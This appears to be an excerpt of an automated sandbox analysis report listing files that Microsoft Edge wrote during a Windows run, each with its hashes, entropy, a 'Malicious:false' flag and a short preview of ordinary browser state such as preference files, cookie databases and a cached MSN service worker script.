                                Preview:d.De^................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1717020564641.-_https://ntp.msn.com..LastVisuallyReadyMarker..1717020565765.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1717020564713,"schedule":[-1,-1,-1,-1,22,16,27],"scheduleFixed":[-1,-1,-1,-1,22,16,27],"simpleSchedule":[10,37,34,42,52,11,17]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20240529.439"}.*_https://ntp.msn.com..pivotSelectionSource..sticky. _https://ntp.msn.com..simpleBkgd..{"videoTogglePreFlight":false}.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed May 29 2024 18:09:23 GMT-0400 (Eastern Daylight Time).!_https://ntp.msn.com..storageTest...y................!_https://ntp.msn.com..LastKnownPV.-_https://ntp.msn.com..LastVisuallyReadyMarker.._https://ntp.msn.com..bkgdV.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):329
                                Entropy (8bit):5.197303026863309
                                Encrypted:false
                                SSDEEP:
                                MD5:EAFAECA9C347550B4E1B04DC12163116
                                SHA1:B228D954380AA778D6266230D29B23A77618F554
                                SHA-256:CD8E2B9B2243DCAD6D83A519E2AA72800ED47195B4B70FFE7F6000F02543C8A6
                                SHA-512:2087DC282599A2E22BD9D203C45D89354F51B85164BAC14F2F0451238302665396D26792B1F000388F50944B1F4D9FAFB0BB68539C288EE02F4A6EAE896B6918
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:16.874 82c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/05/29-18:09:16.876 82c Recovering log #3.2024/05/29-18:09:16.882 82c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 4
                                Category:dropped
                                Size (bytes):45056
                                Entropy (8bit):0.5662399177930515
                                Encrypted:false
                                SSDEEP:
                                MD5:259CDA30F6C7A7374AEBE2C034105964
                                SHA1:3BA565FCD4AB8CD5BB5CDAE89A03FEE7C2B4CF2E
                                SHA-256:D13146A944E4CB601012CC0E2944F2530800CEA7D4F5D621F0C9F3EA7F9FC907
                                SHA-512:FDE03A17774EBD34123612D8CA2AEB0B80B936CB695651378A3C3078860520687914936740FDAA62613FCEEC13B4DB30D5E250F2600FD49B51A3BDCD7E238A16
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5fd35195-c7e7-4ef3-a840-ee82e310095f.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):188
                                Entropy (8bit):5.416833900210697
                                Encrypted:false
                                SSDEEP:
                                MD5:8690A88372EC5F7AF9923376E6162CA8
                                SHA1:CE384404084ED5FCF19CA92FC4E451D5F528D41B
                                SHA-256:C4F19DFF6631EA13DE4780A82C0DDC46278446AD73A18DD1D6D08B57326B210F
                                SHA-512:9AE5F00A52FF88E2C3772E3C1105370C8A1078946735ACEA129B0F728B4383139391D1782656BDC931CF7AF4F752BC47CE21B6782F07B8AAAB9D477BEA6FF5A7
                                Malicious:false
                                Reputation:unknown
                                Preview:{"sts":[{"expiry":1732745373.987863,"host":"ofvmP7oW+0RwTFJSZyupPak3ZVHEb6IkoKJ+1IOU6KA=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1717020573.987867}],"version":2}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 10, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 10
                                Category:modified
                                Size (bytes):28672
                                Entropy (8bit):3.289528654081566
                                Encrypted:false
                                SSDEEP:
                                MD5:E918F939251500974D67B6DE242B8CD7
                                SHA1:71DCDA9B496E240BB37BBD940E8CCA660C9948A8
                                SHA-256:53A74D1EBE904DD14432B5980E7F5D667EA5F8E2E1CE287938B47F20180C7F1C
                                SHA-512:F4B840DDFF54F8C68711EF7FE3870DCC06090210E434A0DBEACB21351FC6A91D51189AA7847CB443A07AD03A517FD6E3A863F6F0C4B4779CEE8E11BA060FB346
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
                                Category:dropped
                                Size (bytes):36864
                                Entropy (8bit):2.1465716665378363
                                Encrypted:false
                                SSDEEP:
                                MD5:F66EFD8CFDE9AEDAAA4E2CFFD791C291
                                SHA1:726E8CD86F133DF56A561E9709F96DDDEC339D4B
                                SHA-256:3480C8865DDB403F8BB4D94A4EB11460F734E7132B13A052A46681F98269EFA0
                                SHA-512:9516215EA881B2231D5857BDA2B944518611B0C1230538ACA3092E10075306593232764FB7960D7D109BAF188CCFCB2B03D925712F04B01BE2BD1FCFF6029C66
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:20D4B8FA017A12A108C87F540836E250
                                SHA1:1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
                                SHA-256:6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
                                SHA-512:507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
                                Malicious:false
                                Reputation:unknown
                                Preview:{"SDCH":{"dictionaries":{},"version":2}}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Token Bindings

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
                                Category:dropped
                                Size (bytes):20480
                                Entropy (8bit):0.4716248163409303
                                Encrypted:false
                                SSDEEP:
                                MD5:72E9D82D6C1742197EEA43EC203C6825
                                SHA1:275AE552E437747FD707962111675AA2C8DEEB0F
                                SHA-256:0DB0BA239E0421208146C4FBB809F2DBD960019FE4F4EC4CBC894C29627DD759
                                SHA-512:C62C7C0C9BBE1CFAE2FEF39FBDF70BB5316713D87453096676BD854A19FDD8BC62F1608F8BE3602AD8770B94C13FFE5A9516F05A95548615CB78ED9CEADC7EA9
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j.......q..g...q.0....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:8690A88372EC5F7AF9923376E6162CA8
                                SHA1:CE384404084ED5FCF19CA92FC4E451D5F528D41B
                                SHA-256:C4F19DFF6631EA13DE4780A82C0DDC46278446AD73A18DD1D6D08B57326B210F
                                SHA-512:9AE5F00A52FF88E2C3772E3C1105370C8A1078946735ACEA129B0F728B4383139391D1782656BDC931CF7AF4F752BC47CE21B6782F07B8AAAB9D477BEA6FF5A7
                                Malicious:false
                                Reputation:unknown
                                Preview:{"sts":[{"expiry":1732745373.987863,"host":"ofvmP7oW+0RwTFJSZyupPak3ZVHEb6IkoKJ+1IOU6KA=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1717020573.987867}],"version":2}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b68adb91-42af-4019-b301-41d2eece5a48.tmp

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):40
                                Entropy (8bit):4.1275671571169275
                                Encrypted:false
                                SSDEEP:
                                MD5:20D4B8FA017A12A108C87F540836E250
                                SHA1:1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
                                SHA-256:6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
                                SHA-512:507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
                                Malicious:false
                                Reputation:unknown
                                Preview:{"SDCH":{"dictionaries":{},"version":2}}

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
                                Category:dropped
                                Size (bytes):20480
                                Entropy (8bit):0.8024195212890469
                                Encrypted:false
                                SSDEEP:
                                MD5:46EDAE9A257690D0F0113262903FC779
                                SHA1:3743EBAEA077D0970A30B40EA36135C8EAB0BDAC
                                SHA-256:A17EE4A87C39F35505B7CF9715E0F63F87F62DDDD9956569774AE6664B3C4BA1
                                SHA-512:663973F9EA720B3FBEA37008253A9D21734589FD34A88F8739D71CDEDBEA67A49BE45DEFE5E3F7D75EF1EA018EAAC39948BCE0305FC8332921A63B23880E8912
                                Malicious:false
                                Reputation:unknown
                                Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (16556), with no line terminators
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:255D3DAA1035D2C25421064964213886
                                SHA1:979DB150D8601FC446F1189AD0B3DE9C82991CB1
                                SHA-256:C57057F301A95DC60AE29551DEB1D58476DDEBF530197DA71E0BD7CBD5ABF945
                                SHA-512:8FCBB203DE2269F2D458E9F3087CD73055F316C404B0216BEC610F1BFA9B9C5BF8B3384CE3DFCE17B9442F9576E2492CE0494717EC3B80889CD69417E6628020
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13361494157131103","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF33559.TMP (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (16556), with no line terminators
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:255D3DAA1035D2C25421064964213886
                                SHA1:979DB150D8601FC446F1189AD0B3DE9C82991CB1
                                SHA-256:C57057F301A95DC60AE29551DEB1D58476DDEBF530197DA71E0BD7CBD5ABF945
                                SHA-512:8FCBB203DE2269F2D458E9F3087CD73055F316C404B0216BEC610F1BFA9B9C5BF8B3384CE3DFCE17B9442F9576E2492CE0494717EC3B80889CD69417E6628020
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13361494157131103","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF35eda.TMP (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (16556), with no line terminators
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:255D3DAA1035D2C25421064964213886
                                SHA1:979DB150D8601FC446F1189AD0B3DE9C82991CB1
                                SHA-256:C57057F301A95DC60AE29551DEB1D58476DDEBF530197DA71E0BD7CBD5ABF945
                                SHA-512:8FCBB203DE2269F2D458E9F3087CD73055F316C404B0216BEC610F1BFA9B9C5BF8B3384CE3DFCE17B9442F9576E2492CE0494717EC3B80889CD69417E6628020
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13361494157131103","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF38ef3.TMP (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text, with very long lines (16556), with no line terminators
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:255D3DAA1035D2C25421064964213886
                                SHA1:979DB150D8601FC446F1189AD0B3DE9C82991CB1
                                SHA-256:C57057F301A95DC60AE29551DEB1D58476DDEBF530197DA71E0BD7CBD5ABF945
                                SHA-512:8FCBB203DE2269F2D458E9F3087CD73055F316C404B0216BEC610F1BFA9B9C5BF8B3384CE3DFCE17B9442F9576E2492CE0494717EC3B80889CD69417E6628020
                                Malicious:false
                                Reputation:unknown
                                Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13361494157131103","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13341058280410352","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b6496

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:4B6F4BBF3E4CCC5DE490205CF99EF64B
                                SHA1:5EF202B2A5EEEA06074935903D9DB11F8DA77FF9
                                SHA-256:43B1E2DF06C82AE35899EA6FF5F866B48CC8DAC3BCE2BCC60AD25F804166CD44
                                SHA-512:AA8E78CD2A73698E59A33C449DC9DB38D422480266CEB30E483F637CFCC281E6EC6EC461E2618E6B9B037569A066505C26912C6FEB314E29B10E7A63C5A40D67
                                Malicious:false
                                Reputation:unknown
                                Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13361494156767528","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13361494156767528","location":5,"ma

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF349fa.TMP (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:4B6F4BBF3E4CCC5DE490205CF99EF64B
                                SHA1:5EF202B2A5EEEA06074935903D9DB11F8DA77FF9
                                SHA-256:43B1E2DF06C82AE35899EA6FF5F866B48CC8DAC3BCE2BCC60AD25F804166CD44
                                SHA-512:AA8E78CD2A73698E59A33C449DC9DB38D422480266CEB30E483F637CFCC281E6EC6EC461E2618E6B9B037569A066505C26912C6FEB314E29B10E7A63C5A40D67
                                Malicious:false
                                Reputation:unknown
                                Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13361494156767528","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13361494156767528","location":5,"ma

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):209
                                Entropy (8bit):4.781750903806468
                                Encrypted:false
                                SSDEEP:
                                MD5:7C1B96DAB9280D6BA57513C7B67D992F
                                SHA1:B2EE388821413E5CE5D9ECD38998F71B23FFCC69
                                SHA-256:103E2BB870EF8E0155FCAEE58BB8B3421B45B580F087A72E59F67C1205C4422B
                                SHA-512:765944240657437099C01890941F471D54F628E611E51DF6F50D8CA2902D874E98C664EBDBBFDC1C63E7BCADCFDC006D0B2D0DBC7B6FA4B6D790E859EF3C8D5D
                                Malicious:false
                                Reputation:unknown
                                Preview:....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2r..;................REG:https://ntp.msn.com/.0..REGID_TO_ORIGIN:0MeN+.................URES:0..PRES:0.J4...................PRES:0

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:ASCII text
                                Category:dropped
                                Size (bytes):293
                                Entropy (8bit):5.150526672602821
                                Encrypted:false
                                SSDEEP:
                                MD5:6F560543B8776A41021B16801DB979FE
                                SHA1:6FDD1E468C5648ECFEA361F082F6B31F8796FDD7
                                SHA-256:F37EA6F63D8F20A47FF8E52701A3FAC1E24AB0EB9E5F9F19D5E88A026CD89066
                                SHA-512:F8918E966DF2666E5F8F03CEC7E9315A70ABB70CB1F7F0EE3CB9F11A114C3E32870DBB1C48B9024DD129884F1FFF76B41561431A74B3A806A566747D03932F10
                                Malicious:false
                                Reputation:unknown
                                Preview:2024/05/29-18:09:25.755 27c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/05/29-18:09:25.770 27c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):120611
                                Entropy (8bit):5.574379763058707
                                Encrypted:false
                                SSDEEP:
                                MD5:25E2DD5FA4AD8AEEED6294817EE1F467
                                SHA1:799618E046F340A98AB818ED4F8397D081D53B31
                                SHA-256:E0E004A8730D80C9166E3925A39A0111E6F522B11F0A16329F9BCAFF3838BEA8
                                SHA-512:3E7A33F1AED0346332464AB0F7D2AA998B3478F3E1077BF878AB291EBB5BF1EDA79CD710916C63CC59A023C9D3C0A403081E7490301456658E8AB825A67810AF
                                Malicious:false
                                Reputation:unknown
                                Preview:0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var a in s)("object"==typeof exports?exports:e)[a]=s[a]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(a){var n=t[a];if(void 0!==n)return n.exports;var r=t[a]={exports:{}};return e[a](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):203065
                                Entropy (8bit):6.406428845857203
                                Encrypted:false
                                SSDEEP:
                                MD5:2B7801DAAF71622D0815D8FDE09008EE
                                SHA1:3CBD20306B03DF53BA12DAF365202DC0C07B419A
                                SHA-256:1065D4D0EFBF2221D8AA975BBC616B1FCA4B4E85FF525CA4ECAF6D4F4CDCB41D
                                SHA-512:B0B8FC287ACA14533201EF0ED1E2CA3E486DD686BB8D274AB67E3D424EBB6EBF70D87F308FAB39AD5641A8A99043A63DD6738422EBBB1D2EC8D2C1741CECEA3B
                                Malicious:false
                                Reputation:unknown
                                Preview:0\r..m..........rSG.....0....Lp.................;.......*.........,T.8..`,.....L`.....,T...`......L`......Rc........exports...Rcj@~m....module....Rcr.......define....RbB.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H.......Q........https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&enableNetworkFirst=true&navAgeMinutes=2880&enableNavPreload=true&enableEmptySectionRoute=true&enableFallbackVerticalsFeed=true&networkTimeoutSeconds=5...a........Db............D`........A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q....c................I`....Da....P....,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-........(Sb.............q.`....Da....z....T...d..........0..........0e........@............

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):48
                                Entropy (8bit):2.955557653394731
                                Encrypted:false
                                SSDEEP:
                                MD5:688F4C6AB446BD47B1C1CA3C0D9381BE
                                SHA1:60DFDC98A7FA47C4B2639E6A8475D2D01DA3894D
                                SHA-256:13708C159F6AB30BEF5981E1BE46FC37246D6275081D57557232D6E4F6CF33C8
                                SHA-512:8E6D144692A883DE5CE76882BF91FDFB87740B64DC32BD92A22971D05CA71B2B667396DD625CDD18D396A741D5198304E8F818B6FAA4065A693EBD3FABBF67E4
                                Malicious:false
                                Reputation:unknown
                                Preview:(...R(..oy retne..........................I5x/.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
                                SSDEEP:
                                MD5:688F4C6AB446BD47B1C1CA3C0D9381BE
                                SHA1:60DFDC98A7FA47C4B2639E6A8475D2D01DA3894D
                                SHA-256:13708C159F6AB30BEF5981E1BE46FC37246D6275081D57557232D6E4F6CF33C8
                                SHA-512:8E6D144692A883DE5CE76882BF91FDFB87740B64DC32BD92A22971D05CA71B2B667396DD625CDD18D396A741D5198304E8F818B6FAA4065A693EBD3FABBF67E4
                                Malicious:false
                                Reputation:unknown
                                Preview:(...R(..oy retne..........................I5x/.

                                C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF35c79.TMP (copy)

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):0
                                Entropy (8bit):0.0
                                Encrypted:false
